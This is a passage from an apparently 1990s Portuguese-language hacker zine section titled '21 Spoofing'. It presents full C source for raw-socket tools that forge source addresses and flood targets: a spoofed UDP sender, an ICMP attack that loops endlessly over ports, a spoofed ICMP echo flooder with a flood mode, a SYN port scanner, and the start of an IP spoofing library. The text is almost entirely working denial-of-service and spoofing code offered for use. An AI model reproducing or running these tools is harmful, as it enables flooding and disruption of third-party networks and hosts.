<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                               21 SPOOFING 21

                                     BY

                                  DEAD*POOL

           Nessa se‡ao n¢s colocamos a disposi‡ao alguns programas
           relacionados a spoofing...
           Pessoal do windows desculpa, mas isso aqui s¢ pra UNIX e LINUX

           Os programas seguem o esquema de sempre, tem a descri‡ao aqui em
           cima, TODOS os progs seguem a odem da descri‡ao.

           arnudp001.c
           Programa que envia datagramas UDP spoofeados


           bewm2.c
           Programa que envia pacotes ICMP apoofeados


           echok.c
           Outro programa que envia pacotes ICMP spoofeados


           eprobe.c
           Floodeador SYN spoofeado


           ipspoof.c.
           Programa spoofeador de IP


           pepsi.c
           Floodeador de UDP


           erect.c
           Spoofer de nome de servidor de IRC


                     
           
---------arnudp001.c

/************************************************************************/
/* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk              */
/* Sends a single udp datagram with the source/destination address/port */
/* set to whatever you want.  Unfortunately Linux 1.2 and SunOS 4.1     */
/* don't seem to have the IP_HDRINCL option, so the source address will */
/* be set to the real address.  It does however work ok on SunOS 5.4.   */
/* Should compile fine with just an ANSI compiler (such as gcc) under   */
/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra    */
/* libraries on the command line:                                       */
/*      /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl                */
/* I'll state the obvious - this needs to be run as root!  Do not use   */
/* this program unless you know what you are doing, as it is possible   */
/* that you could confuse parts of your network / internet.             */
/* (c) 1995 Arny - I accept no responsiblity for anything this does.    */
/************************************************************************/
/* I used the source of traceroute as an example while writing this.    */
/* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens   */
/* for pointing me in the right direction.                              */
/************************************************************************/
 
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[38]=
        {
        0x45,   0x00,   0x00,   0x26,
        0x12,   0x34,   0x00,   0x00,
        0xFF,   0x11,   0,      0,
        0,      0,      0,      0,
        0,      0,      0,      0,

        0,      0,      0,      0,
        0x00,   0x12,   0x00,   0x00,

        '1','2','3','4','5','6','7','8','9','0'
        };

if(argc!=5)
        {
        fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
        exit(1);
        };

if((he=gethostbyname(argv[1]))==NULL)
        {
        fprintf(stderr,"can't resolve source hostname\n");
        exit(1);
        };
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[3]))==NULL)
        {
        fprintf(stderr,"can't resolve destination hostname\n");
        exit(1);
        };
bcopy(*(he->h_addr_list),(gram+16),4);

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
        {
        perror("socket");
        exit(1);
        };

#ifdef IP_HDRINCL
fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
        {
        perror("setsockopt IP_HDRINCL");
        exit(1);
        };
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif

if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
        {
        perror("sendto");
        exit(1);
        };

printf("datagram sent without error:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
        {
        if(!(x%4)) putchar('\n');
        printf("%02x",gram[x]);
        };
putchar('\n');

}

---------------arnudp001.c

----------------bewm2.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/signal.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr) + 16)
#define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 16)
#define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr))
#define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
#define offsetICMP (sizeof(struct iphdr))
#define offsetRIP  (0)

static int thecode;
int s = 0;

u_short cksum( u_short *, int );

void sendkill( char *, int, char *, int );

u_short cksum( u_short *buf, int nwords ) {
 unsigned long sum;

 for ( sum = 0; nwords > 0; nwords -- )
  sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
 struct  sockaddr_in *address;
 struct  hostent     *host;
 address = (struct sockaddr_in *)addr;
 (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
 /* fill in the easy fields */ 
 address->sin_family = AF_INET;
 address->sin_port = htons(port);
 /* first, check if the address is an ip address */
 address->sin_addr.s_addr = inet_addr(hostname);
 if ( (int)address->sin_addr.s_addr == -1) {
  /* it wasn't.. so we try it as a long host name */
  host = gethostbyname(hostname);
  if (host) {
   /* wow.  It's a host name.. set the fields */
   /* ?? address->sin_family = host->h_addrtype; */
   bcopy( host->h_addr, (char *)&address->sin_addr,
   host->h_length);
  }
  else {
   /* oops.. can't find it.. */
   puts("Couldn't resolve address!!!");
   exit(-1);
}}}

void sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
 char *packet;
 static struct sockaddr_in local, remote;
 static int sock = 0;
 if ( !sock ) {
  resolve_address( (struct sockaddr *)&local, fromhost, fromport );
  resolve_address( (struct sockaddr *)&remote, tohost, toport );
  sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if ( sock == -1 ) {
   perror("Getting raw socket");
   exit(-1);
}}
/* Get memory for the packet */
packet = (char *)malloc( PACKETSIZE );
if ( !packet ) {
 perror("Getting space for packet");
 exit(-1);
}
/* Fill in our pretended TCP header note - since this was allegedly an 
 * outgoing packet...  we have to flip the source and destination stuff
 */
{
struct tcphdr * fake_tcp;
fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
fake_tcp->th_dport = htons(fromport);
fake_tcp->th_sport = htons(toport);
fake_tcp->th_seq = 0x1984;
}
/*
 * fill in the fake IP header the same reversal as above still applies.. 
 * the packet was sent to our machine ( yeah right )
 */
{
struct iphdr * fake_ip;
fake_ip = ( struct iphdr *) ( packet + offsetIP );

/* these fields are irrelevant -- never checked?? */
fake_ip->version = 4;
fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */
fake_ip->tos = 0;
fake_ip->id = htons( getpid() & 255 );
fake_ip->frag_off = 0;
fake_ip->ttl = 1; /* not so long to live anymore ***changed*** */
fake_ip->check = 31337;  /* this CAN'T be checked..so do something != 0 */

/* these fields are used ..  */
fake_ip->ihl = 5;
bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
fake_ip->protocol = 6;  /* a TCP packet */
}

/* fill in the ICMP header this is actally rather trivial, though don't 
 * forget the checksum
 */
{
struct icmphdr * icmp;
icmp = ( struct icmphdr *)(packet + offsetICMP );
icmp->type = 4;
icmp->code = thecode; /* this will generate an error message */
icmp->un.gateway = 0;
icmp->checksum = 0;
icmp->checksum = cksum( (u_short *)(icmp),  ICMPSIZE >> 1 );
}
/* finally, fill in the IP header this is almost the same as above though 
 * this time, it is the ip header that really takes the packet places. make 
 * sure the checksum and addresses are right
 */
{
struct iphdr * real_ip;
real_ip = ( struct iphdr *)packet;
real_ip->version = 4;
real_ip->ihl = 5;
real_ip->tot_len = htons(PACKETSIZE);
real_ip->tos = ( 7 << 5) | 4;
real_ip->ttl = 255;
real_ip->protocol = 1;
real_ip->check = 0;
real_ip->id = htons( 3 );
real_ip->frag_off = 0;
bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L  );
real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr ) >> 1 );
}
/* and now finally send it out into the net */
{
int result;
result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) );
if ( result != PACKETSIZE ) {
 perror("sending packet" );
}}}

void finish() {
(void)signal(SIGINT, SIG_IGN);
(void)putchar('\n');
(void)printf("\033[32m-\033[m\033[2m-\033[m\033[32m- \033[m\033[2mb\033[m\033[32mEWm \033[m\033[2ms\033[m\033[32mTATISTICs -\033[m\033[2m-\033[m\033[32m-\033[m\n"); 
(void)printf("\033[2mp\033[m\033[32mACKETs \033[m\033[2ms\033[m\033[32mENt: \033[m\033[2m%d\033[m\n", s); 
(void)putchar('\n'); exit(0); }

main(int argc, char ** argv) {
 int codes,i;

 puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0
33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0
33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m");
 puts("\033[2mb\033[m\033[32mEWm");
 puts("\033[2mW\033[m\033[32mritten by Rza");
 puts("\033[m\033[2mv\033[m\033[32mEr 1.0");
 puts("\033[2mT\033[m\033[32mue Jun 11 06:54:07 EDT 1996");
 puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0
33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0
33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m");

 if (argc != 7) {
  puts("\033[32mSYNTAX\033[m\033[2m: <\033[m\033[32msrcaddress\033[m\033[2m> <\033[m\033[32msrcport\033[m\033[2m> <\033[m\033[32mdestaddress\033[m\033[2m> <\033[m\033[32mdestportlow\033[m\033[2m> <\033[m\033[32mdestporthigh\033[m\033[2m> <\033[m\033[32mic
mp\033[m\033[2m>\033[m");
  exit(-1);
 }

 thecode = atoi(argv[6]);

sendloop:
for( i = atoi(argv[4]) ; i <= atoi(argv[5]) ; i++) {
 s++;
 printf("\033[2m%d\033[m\033[32m bytes from \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\033[32m to \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\n",PACKETSIZE+ICMPSIZE,argv[1],atoi(argv[2]),argv[3],i);
 sendkill(argv[1], atoi(argv[2]), argv[3], i);
 usleep(300000);
 (void)signal(SIGINT, finish);
 }
goto sendloop;
}

----------bewm2.c

----------------echok.c

/*
 * echok.c
 * ICMP_ECHO Killer
 * 
 * Author: Zakath    Credits:  LOTSA thanks to crisk
 * Don't be fooled. Very little is my orig code.
 * [03.13.96]
 */

#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ECHOK_VER "1.4"

/* GENERAL ROUTINES ------------------------------------------- */

void banner(void)
     {
        printf("\n                  * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
        printf("\n               * Code based on works by Crisk & Mike Muuss *\n\n");
     }
        
void usage(const char *progname)
     {
        printf("\nusage:\n  ");
        printf("%s [-f <-n number>] [-s packet size] [-w wait] <spoof> <dest>\n\n",progname);
        printf("\t-f          : enable flooding  (ping -f)\n");
        printf("\t-n <number> : number of pings to send\n");
        printf("\t-s <size>   : ICMP_ECHO Packet Size [Default is 64]\n");
        printf("\t-w <time>   : Wait time between packets [Default is 100]\n");
        printf("\t<spoof>     : address of fake ICMP packet sender\n");
        printf("\t<dest>      : destination of the flood message\n");
        printf("\n");
     }

/* OPTION PARSING -------------------------------------------- */

unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned      pingsize, pingsleep, pingnmbr;
char          flood = 0;


/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}


/* Nice resolve func. by crisk */
int resolve( const char *name, struct sockaddr_in *addr, int port )
     {
        struct hostent *host;
        
        /* clear everything in case I forget something */
        bzero((char *)addr,sizeof(struct sockaddr_in));
        
        if (( host = gethostbyname(name) ) == NULL )  {
#ifndef RESOLVE_QUIET
           fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
           perror("");
#endif
           return -1;
        }
         
        addr->sin_family = host->h_addrtype;
        memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
        addr->sin_port = htons(port);
     
        return 0;
     }

unsigned long addr_to_ulong(struct sockaddr_in *addr)
     {
        return addr->sin_addr.s_addr;
     }


int resolve_one(const char *name, unsigned long *addr, const char *desc)
     {
        struct sockaddr_in tempaddr;
        if (resolve(name, &tempaddr,0) == -1) {
           printf("error: can't resolve the %s.\n",desc);
           return -1;
        }
            
        *addr = tempaddr.sin_addr.s_addr;
        return 0;
     }

int resolve_all(const char *dest,
                const char *spoof)
     {
        if (resolve_one(dest,&dest_addr,"dest address")) return -1;
        if (spoof!=NULL) 
          if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
        
        spoofaddr.sin_addr.s_addr = spoof_addr;
        spoofaddr.sin_family = AF_INET;
        destaddr.sin_addr.s_addr = dest_addr;
        destaddr.sin_family      = AF_INET;
     }
        
void give_info(void)
     {
        printf("# target address          : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
        printf("# spoof-from address      : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
        if (pingnmbr) printf("# number of packets       : %u\n",(pingnmbr));
        printf("# icmp echo packet size   : %u\n",(pingsize+36));
        printf("# wait time between send  : %u\n\n", pingsleep);
     }

int parse_args(int argc, char *argv[]) 
     {
        int opt;
        
        char *endptr;
        
        while ((opt=getopt(argc, argv, "fn:s:w:")) != -1)  {
           switch(opt)  {
              case 'f': flood = 1; break;
              case 'n': pingnmbr = strtoul(optarg,&endptr,10);
                        if (*endptr != '\0')  {
                           printf("%s: Invalid Number '%s'.\n", argv[0], optarg);
                           return -1;
                        }
                        break;
              case 's': pingsize = strtoul(optarg,&endptr,10);
                        if (*endptr != '\0')  {
                           printf("%s: Bad Packet Size '%s'\n", argv[0], optarg);
                           return -1;
                        }
                        break;
              case 'w': pingsleep = strtoul(optarg,&endptr,10);
                        if (*endptr != '\0')  {
                           printf("%s: Bad Wait Time '%s'\n", argv[0], optarg);
                           return -1;
                        }
                        break;
              case '?':
              case ':': return -1; break;
           }
          
        }
            
        if (optind > argc-2)  {
           printf("%s: missing parameters\n",argv[0]);
           return -1;
        }
        
        if (!pingsize)
          pingsize = 28;
        else
          pingsize = pingsize - 36 ;

        if (!pingsleep)
          pingsleep = 100;

        spoof_name = argv[optind++];
        dest_name = argv[optind++];
        
        return 0;                       
     }

/*
 * icmp_echo_send()
 * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
 * contain the IP header + 64 bits of original datagram, we create a bogus
 * IP header and the first 64 bits of a TCP header (ports and syn). 
 *
 */

 inline int icmp_echo_send(int                socket, 
                           unsigned long      spoof_addr,
                           unsigned long      t_addr,
                           unsigned           pingsize)
     {
        unsigned char packet[5122];
        struct iphdr   *ip;
        struct icmphdr *icmp;
        struct iphdr   *origip;
        unsigned char  *data;

        int i;
        
        ip = (struct iphdr *)packet;
        icmp = (struct icmphdr *)(packet+IPHDRSIZE);
        origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
        data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
        
        memset(packet, 0, 5122);
        
/*      ip->saddr    = spoof_addr; */
        ip->version  = 4;
        ip->ihl      = 5; 
        ip->ttl      = 255-random()%15;
        ip->protocol = IPPROTO_ICMP;
        ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
        
        bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
        bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 

        ip->check    = in_cksum(packet,IPHDRSIZE);
        
/*        origip->saddr    = t_addr;   this is the 'original' header. */
        origip->version  = 4;
        origip->ihl      = 5;
        origip->ttl      = ip->ttl - random()%15;
        origip->protocol = IPPROTO_TCP; 
        origip->tot_len  = IPHDRSIZE + 30; 
        origip->id       = random()%69;
        
        bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

        origip->check = in_cksum(origip,IPHDRSIZE);
        
        *((unsigned int *)data)          = htons(pingsize);

        /* 'original IP header + 64 bits (of bogus TCP header)' made. */
        
        icmp->type = 8; /* should be 3 */
        icmp->code = 0;
        
        icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

        return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
                      (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
        
        /* ICMP packet is now over the net. */
        
     }

/* MAIN ------------------------------------------------------ */

void main(int argc, char *argv[])
     {
        int s, i;
        int floodloop;
        
        banner();
        
        if (parse_args(argc,argv)) 
          {  
             usage(argv[0]); 
             return;
          }
        
        resolve_all(dest_name, spoof_name);
        give_info();
        
        s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        
        if (!flood)
          {
             if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
             {
                printf("%s: error sending ping packet\n",argv[0]); perror(""); return;
             }
          }
        else
          {
             floodloop = 0;
             if ( pingnmbr && (pingnmbr > 0) )
             {
               printf("flooding... packet limit set.\n");
               for (i=0;i<pingnmbr;i++)
               {
                 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
                 {
                    printf("%s: error sending packet\n",argv[0]); perror(""); return; 
                 }
                 usleep((pingsleep*1000));                    

                 if (!(floodloop = (floodloop+1)%25)) 
                  { fprintf(stdout,"."); fflush(stdout); 
                 }
                
               }
               printf("flooding completed - %u packets sent.\n", pingnmbr);
             }
             else {
               printf("flooding. each dot equals 25 packets.\n");
               for (i=0;i<1;i)
               {
                 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
                 {
                    printf("%s: error sending packet\n",argv[0]); perror(""); return; 
                 }
                 usleep(900);                 

                 if (!(floodloop = (floodloop+1)%25)) 
                  { fprintf(stdout,"."); fflush(stdout); 
                 }
                
               }
             }

          }
     }

--------------echok.c


-----------------eprobe.c 

#include "tcpip.h"

char *servport(int port) {
 struct servent *wewtz;
 char *wutez;

 if ((wewtz = getservbyport(htons(port), "tcp"))==NULL) {
   sprintf(wutez, "%d", port);
   return wutez;
 } else
   return wewtz->s_name;
}

void ssyn(int sendsock, u_long srcaddr, u_long dstaddr, u_short srcport, 
        u_short dstport, u_long seq)
{
  char *pack, *tpack;
  int sent;
  struct sockaddr_in stuffz;

  tpack = create_tcp(srcaddr, dstaddr, htons(srcport), htons(dstport), 
        seq, 0, TH_SYN, NULL, 0);
  pack  = create_ip (srcaddr, dstaddr, IPPROTO_TCP, 75, 1, tpack, 20);
  stuffz.sin_family      = AF_INET;
  stuffz.sin_port        = htons(dstport);
  stuffz.sin_addr.s_addr = dstaddr;
  sent  = sendto(sendsock, pack, 40, 0, (struct sockaddr *)&stuffz, 
            sizeof(stuffz));
  if (sent != 40) { perror("sending SYN"); exit(-1); }
}

void srst(int sendsock, u_long srcaddr, u_long dstaddr, u_short srcport, 
        u_short dstport, u_long seq)
{
  char *pack, *tpack;
  int sent;
  struct sockaddr_in stuffz;

  tpack = create_tcp(srcaddr, dstaddr, htons(srcport), htons(dstport), 
        seq, 0, TH_RST, NULL, 0);
  pack  = create_ip (srcaddr, dstaddr, IPPROTO_TCP, 75, 1,
            tpack, 20);
  stuffz.sin_family      = AF_INET;
  stuffz.sin_port        = htons(dstport);
  stuffz.sin_addr.s_addr = dstaddr;
  sent  = sendto(sendsock, pack, 40, 0, (struct sockaddr *)&stuffz, 
            sizeof(stuffz));
  if (sent != 40) { perror("sending RST"); exit(-1); }
}

main (int c, char *v[])
{
  int ssock, lsock, pid;
  struct hostent *hent;
  struct servent *srvent;
  u_long us, them;
  u_short sport, eport;
  u_short skrap;
  char mahname[80], *buggz, iphh[20], tcphh[20];
  struct tcphdr *tcphead;
  struct iphdr *iphead;

  if (c!=4) {
    printf("usage: %s <host> <start port> <end port>\n", v[0]);
    exit(-1);
  }
  gethostname(mahname, 79);
  if ((hent = gethostbyname(mahname)) == NULL) {
    printf("couldn't get my hostname!@#\n");
    exit(-1);
  }
  bcopy(hent->h_addr, (char *)&us, hent->h_length);
  if ((hent = gethostbyname(v[1]))!=NULL)
    bcopy(hent->h_addr, (char *)&them, hent->h_length);
  else {
    printf("could not resolve: %s\n", v[1]);
    exit(-1);
  }
  if ((sport=atoi(v[2]))==0) {
    printf("you can't use %s as a starting port..\n", v[2]);
    exit(-1);
  }
  if ((eport=atoi(v[3]))==0) {
    printf("you can't use %s as an ending port..\n", v[3]);
    exit(-1);
  }
  ssock = socket(AF_INET, SOCK_RAW, 255);
  if (ssock == -1) { perror("getting send socket"); exit(-1); }
  lsock = socket(AF_INET, SOCK_RAW, 6);
  if (lsock == -1) { perror("getting listen socket"); exit(-1); }
  printf("Active ports on %s between: %d and %d:\n", v[1], sport, eport);
  pid = getpid();
  for (skrap=sport;skrap<eport+1; skrap++) {
    ssyn(ssock, us, them, pid+skrap, skrap, (skrap * 1000));
    while ((ntohs(tcphead->th_dport) != pid+skrap) ||
      (ntohs(tcphead->th_sport) != skrap) ||
      (them != iphead->saddr) || (us != iphead->daddr)) {
        usleep(100);
        buggz = read_tcpip();
        bcopy(buggz, &iphh, 20);
        bcopy((buggz + 20), &tcphh, 20);
        iphead  = (struct iphdr  *)iphh;
        tcphead = (struct tcphdr *)tcphh;
    }
    if ((iphead->saddr == them) && (iphead->daddr == us) &&
        (ntohl(tcphead->th_ack) == ((skrap * 1000 )+ 1))) {
      if (tcphead->th_flags & TH_SYN) {
         printf("%s.%s\n", inet_ntoa(them), servport(skrap));
         srst(ssock, us, them, pid+skrap, skrap, ((skrap * 1000) + 1));
      }
    }
  }
}

-------------eprobe.c 


----------------ipspoof.c

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

unsigned short ip_cksum(unsigned char * buff, int len)
{
        unsigned long sum = 0;
        if (len > 3)
        {
                __asm__("clc\n"
                "1:\t"
                "lodsl\n\t"
                "adcl %%eax, %%ebx\n\t"
                "loop 1b\n\t"
                "adcl $0, %%ebx\n\t"
                "movl %%ebx, %%eax\n\t"
                "shrl $16, %%eax\n\t"
                "addw %%ax, %%bx\n\t"
                "adcw $0, %%bx"
                : "=b" (sum) , "=S" (buff)
                : "0" (sum), "c" (len >> 2) ,"1" (buff)
                : "ax", "cx", "si", "bx" );
        }
        if (len & 2)
        {
                __asm__("lodsw\n\t"
                "addw %%ax, %%bx\n\t"
                "adcw $0, %%bx"
                : "=b" (sum), "=S" (buff)
                : "0" (sum), "1" (buff)
                : "bx", "ax", "si");
        }
        if (len & 1)
        {
                __asm__("lodsb\n\t"
                "movb $0, %%ah\n\t"
                "addw %%ax, %%bx\n\t"
                "adcw $0, %%bx"
                : "=b" (sum), "=S" (buff)
                : "0" (sum), "1" (buff)
                : "bx", "ax", "si");
        }
        sum =~sum;
        return(sum & 0xffff);
}

unsigned short tcp_check(struct tcphdr *th, int len,
          unsigned long saddr, unsigned long daddr)
{
        unsigned long sum;
        __asm__("
            addl %%ecx, %%ebx
            adcl %%edx, %%ebx
            adcl $0, %%ebx
            "
        : "=b"(sum)
        : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
        : "bx", "cx", "dx" );
        __asm__("
            movl %%ecx, %%edx
            cld
            cmpl $32, %%ecx
            jb 2f
            shrl $5, %%ecx
            clc
1:          lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            loop 1b
            adcl $0, %%ebx
            movl %%edx, %%ecx
2:          andl $28, %%ecx
            je 4f
            shrl $2, %%ecx
            clc
3:          lodsl
            adcl %%eax, %%ebx
            loop 3b
            adcl $0, %%ebx
4:          movl $0, %%eax
            testw $2, %%dx
            je 5f
            lodsw
            addl %%eax, %%ebx
            adcl $0, %%ebx
            movw $0, %%ax
5:          test $1, %%edx
            je 6f
            lodsb
            addl %%eax, %%ebx
            adcl $0, %%ebx
6:          movl %%ebx, %%eax
            shrl $16, %%eax
            addw %%ax, %%bx
            adcw $0, %%bx
            "
        : "=b"(sum)
        : "0"(sum), "c"(len), "S"(th)
        : "ax", "bx", "cx", "dx", "si" );

        /* We only want the bottom 16 bits, but we never cleared the top 16. */

        return((~sum) & 0xffff);
}

void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {
struct sockaddr_in *address;
struct hostent *host;

address = (struct sockaddr_in *)addr;
(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ((int)address->sin_addr.s_addr == -1) {
  host = gethostbyname(hostname);
  if (host) {
   bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);
  }
  else {
   puts("Couldn't resolve address!!!");
   exit(-1);
  }
 }
}

char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl,
        u_short id, char *data, int data_len)
{
 char *ip_datagram;
 struct iphdr *ip_header;
 ip_datagram = malloc(sizeof(struct iphdr) + data_len);
 ip_header = ip_datagram;
 ip_header->version   = 4;
 ip_header->tos       = 0;
 ip_header->frag_off  = 0;
 ip_header->check     = 0;
 ip_header->saddr     = source;
 ip_header->daddr     = dest;
 ip_header->protocol  = protocol;
 ip_header->ttl       = ttl;
 ip_header->id        = htons(id);
 ip_header->ihl       = 5;
 ip_header->tot_len   = htons(sizeof(struct iphdr) + data_len);
 ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));
 bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);
 return ip_datagram;
}

char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport,
        u_long seqnum, u_long acknum, u_char flags, char *data, int datalen)
{
 char *wewt;
 struct tcphdr *tcp_header;
 wewt = malloc(sizeof(struct tcphdr) + datalen);
 tcp_header = wewt;
 tcp_header->th_sport = sport;
 tcp_header->th_dport = dport;
 tcp_header->th_seq   = seqnum;
 tcp_header->th_ack   = acknum;
 tcp_header->th_flags = flags;
 tcp_header->th_sum   = 0;
 tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr),
    source, dest));
